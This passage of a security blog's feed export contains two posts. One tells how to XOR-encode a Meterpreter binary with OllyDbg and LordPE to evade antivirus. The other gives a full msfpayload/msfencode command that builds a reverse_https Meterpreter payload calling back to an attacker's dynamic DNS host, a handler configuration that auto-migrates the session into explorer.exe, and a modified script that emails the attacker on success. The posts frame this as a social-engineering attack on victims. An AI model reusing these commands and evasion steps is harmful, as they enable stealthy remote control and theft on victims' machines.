class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGJe_CrmuqAi1NkuuHCvOzrEZMmZl1cj2kTD1J3TeRWQewJKJLBLR6xXbFU6IFL8bRDb8QEG4u8qWr2Ak08OBc4UMHvrWMZYKa4o88RPKjKz3BUiBfSTrG9wweHYh9ducMr8meHG2OBlXn/s1600/5thOllydbg.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiGJe_CrmuqAi1NkuuHCvOzrEZMmZl1cj2kTD1J3TeRWQewJKJLBLR6xXbFU6IFL8bRDb8QEG4u8qWr2Ak08OBc4UMHvrWMZYKa4o88RPKjKz3BUiBfSTrG9wweHYh9ducMr8meHG2OBlXn/s320/5thOllydbg.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;We need to place now a breakpoint at retn instruction, &lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQzZVK9ck_LXzB_oBF8n7RwkgffrlrFW2Nx2NVV-RtgbCaX8sS6fGKUs0G5XuDrUJPMdg9TAGJg1EdCa4MTX8sEHcvdEDvYEjw4AV_GYOB4nrdw4P_D8myOOA8QzYFSPrsidYMhAm0V2GX/s1600/6thOllydbg.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgQzZVK9ck_LXzB_oBF8n7RwkgffrlrFW2Nx2NVV-RtgbCaX8sS6fGKUs0G5XuDrUJPMdg9TAGJg1EdCa4MTX8sEHcvdEDvYEjw4AV_GYOB4nrdw4P_D8myOOA8QzYFSPrsidYMhAm0V2GX/s320/6thOllydbg.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;By doing that we are telling the debugger that when the program is going to be executed, the execution will stop at the retn function. We are doing this because all we need is for our xor function to start from the top of the actual code until the start of our code and xor every bit of data with the selected key, we don&#39;t want to run the program actually. After placing the breakpoint we hit run (or press F9) once&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3nXYvHe5UuKjvFwf1H7zvVa-Nw1ep3-GaN5h1lI1MMzYJ1wa7FIihYhF5na3yRtk4oJCc0ylZ88S_TOsOfPgTQ9V4EmicCFBSWxZT6vFJMymvmAT4pMypaf0GOvuWmPLKvjntzwUUT6JG/s1600/7thOllydbg.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj3nXYvHe5UuKjvFwf1H7zvVa-Nw1ep3-GaN5h1lI1MMzYJ1wa7FIihYhF5na3yRtk4oJCc0ylZ88S_TOsOfPgTQ9V4EmicCFBSWxZT6vFJMymvmAT4pMypaf0GOvuWmPLKvjntzwUUT6JG/s320/7thOllydbg.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;If we take a look at the code above we will see now that it&#39;s changed. Now we need to select the modified code and save it as a new file. So selection will start from our new OEP (0040BF60), until the first original OEP (00406D42) of the file.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAqBduGMQIzrZ17OZgQw2pNvApl-OHZC7yx8y7Spg5NktZn-scO1K1UNJIoQySpsgvM4mFIyJoMVn0yPj3HBUAfGuNWRRRmvtAkwkv0td6xMz8Iqt-eEbaBE4dkhAqZtufHExoVhkNYXmB/s1600/8thOllydbg.jpg&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;179&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhAqBduGMQIzrZ17OZgQw2pNvApl-OHZC7yx8y7Spg5NktZn-scO1K1UNJIoQySpsgvM4mFIyJoMVn0yPj3HBUAfGuNWRRRmvtAkwkv0td6xMz8Iqt-eEbaBE4dkhAqZtufHExoVhkNYXmB/s320/8thOllydbg.jpg&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: justify;&quot;&gt;Right click, select copy to executable, selection and again right click on the new window and save file with a new name.&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: justify;&quot;&gt;&lt;br /&gt;
&lt;/div&gt;&lt;div style=&quot;font-family: inherit; text-align: justify;&quot;&gt;&lt;/div&gt;&lt;div style=&quot;text-align: justify;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;Finally we have our new XORed file.&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px; text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;Using this simple technique only 2 antivirus engines were bypassed and no longer are detecting meterpreter as virus, the av engines that no longer recognize the binary file are &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;line-height: 16px; text-align: left;&quot;&gt;VirusBuster and eTrust-Vet&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-size: small;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span style=&quot;font-family: inherit; font-size: small;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;font-family: inherit;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/div&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;border-collapse: separate; color: black; font-family: &#39;Times New Roman&#39;; font-size: small; font-style: normal; font-variant: normal; font-weight: normal; letter-spacing: normal; line-height: normal; orphans: 2; text-indent: 0px; text-transform: none; white-space: normal; widows: 2; word-spacing: 0px;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-family: Helvetica,Arial,Verdana,sans-serif; font-size: 12px; line-height: 16px; text-align: left;&quot;&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-family: inherit;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;span style=&quot;font-size: small;&quot;&gt;More results will follow with different methods of binary encryption/packing. A final for this test, the ollydbg may log an access violation during the XOR process, this is due to the fact that many times .text section of the PE file is market as executable and readable only. We need to change the flags on the section to writable as well. To achieve that loading the file in LordPE, from PE editor, sections, right click on the .text section, flags ... make sure the writable option is set. &lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;blackthick&quot; style=&quot;color: black; font-weight: bold;&quot;&gt;&lt;span id=&quot;status-total&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;</content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/8961858436956628931/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2011/01/meterpreter-xor-for-further-av-bypass.html#comment-form' title='8 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/8961858436956628931'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/8961858436956628931'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2011/01/meterpreter-xor-for-further-av-bypass.html' title='meterpreter xor for further av bypass'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj48s2222sduN0nKY0-AZIvo6rlyi9KM9a6fAH4AHYhXZT-dMByRVPi2e4AIP7BPerpp6SZbyBD6BJdMTQFvyGVuyu6w15M3e8cGiLYL_1f5JFno7Qsy3KWh3Lp2203yc5HI2rvKN5Td4gJ/s72-c/1stOllydbg.jpg" height="72" width="72"/><thr:total>8</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7564576430043279231.post-77781094222398313</id><published>2010-10-06T14:28:00.000+03:00</published><updated>2010-10-06T14:28:13.078+03:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="metasploit migrate email"/><title type='text'>Metasploit migrate and e-mail.</title><content type='html'>Not all hacks happen instantly sometimes you have to wait. The problem is that you might have to wait for days especially when social engineering is taking part in the process. &lt;br /&gt;
&lt;br /&gt;
Even if all things goes well and the attack succeed the payload is a meterpreter connect back shell that will take me to the magic world of new and exciting data. Some problems here, the binary in order to go undetected is encoded using a custom template ( a custom small application that will show a popup ) and this is problem A. This application will just run for some seconds and then it will close, closing meterpreter on the way and my connection. Another problem is that i don&#39;t know when the connection is going to take place, it might take place in a few days or even in a couple of weeks that will be problem B.&lt;br /&gt;
&lt;br /&gt;
Problem A is solved easy using a migrate script to migrate into another process and preferably, explorer.exe will be of my taste. So the story on the metasploit console goes like this &lt;br /&gt;
&lt;br /&gt;
./msfpayload windows/meterpreter/reverse_https LHOST=my_dynamic_dns_host LPORT=443 R |./msfencode -k -x ./popup.exe -c 3 -e x86/shikata_ga_nai -t exe -o popup_out.exe&lt;br /&gt;
&lt;br /&gt;
will create a roughly undetected binary with meterpreter inside.&lt;br /&gt;
&lt;br /&gt;
On meterpreter console now running under screen,&lt;br /&gt;
./msfconsole&lt;br /&gt;
&lt;br /&gt;
use exploit/multi/handler&lt;br /&gt;
set PAYLOAD windows/meterpreter/reverse_https&lt;br /&gt;
set ExitOnSession false&lt;br /&gt;
set LHOST my_dynamic_dns_host&lt;br /&gt;
set LPORT 443&lt;br /&gt;
set AutoRunScript migrate explorer.exe&lt;br /&gt;
exploit -j&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
This will take care of problem A.&lt;br /&gt;
&lt;br /&gt;
Moving on to problem B now.&lt;br /&gt;
&lt;br /&gt;
By default metasploit doesn&#39;t provide us any method to inform the attacker for the process of the attack, if he is not looking at the console screen directly. To overcome this i made a small modification to the migrate.rb script located at scripts/ directory on the metasploit root directory. This small modification does the following, when the attack succeeds and migration is complete a mail will be send to a specific address to inform about the success.&lt;br /&gt;
&lt;br /&gt;
meterpreter &amp;gt; run migrate notepad.exe&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;br /&gt;
[*] Current server process: Explorer.EXE (3156)&lt;br /&gt;
[*] Migrating to notepad.exe...&lt;br /&gt;
[*] Migrating into process ID 5064&lt;br /&gt;
[*] New server process: notepad.exe (5064)&lt;br /&gt;
[*] Emailing myself@myhost&lt;br /&gt;
&lt;br /&gt;
The modified migrate.rb can be found here :&amp;nbsp; &lt;a href=&quot;http://www.deventum.com/research/migrate.rb&quot;&gt;http://www.deventum.com/research/migrate.rb&lt;/a&gt; , if you use it don&#39;t forget to change the e-mail address :)</content><link rel='replies' type='application/atom+xml' href='http://0entropy.blogspot.com/feeds/77781094222398313/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://0entropy.blogspot.com/2010/10/metasploit-migrate-and-e-mail.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/77781094222398313'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/7564576430043279231/posts/default/77781094222398313'/><link rel='alternate' type='text/html' href='http://0entropy.blogspot.com/2010/10/metasploit-migrate-and-e-mail.html' title='Metasploit migrate and e-mail.'/><author><name>Nicolas Krassas</name><uri>http://www.blogger.com/profile/06456274925706708465</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry></feed>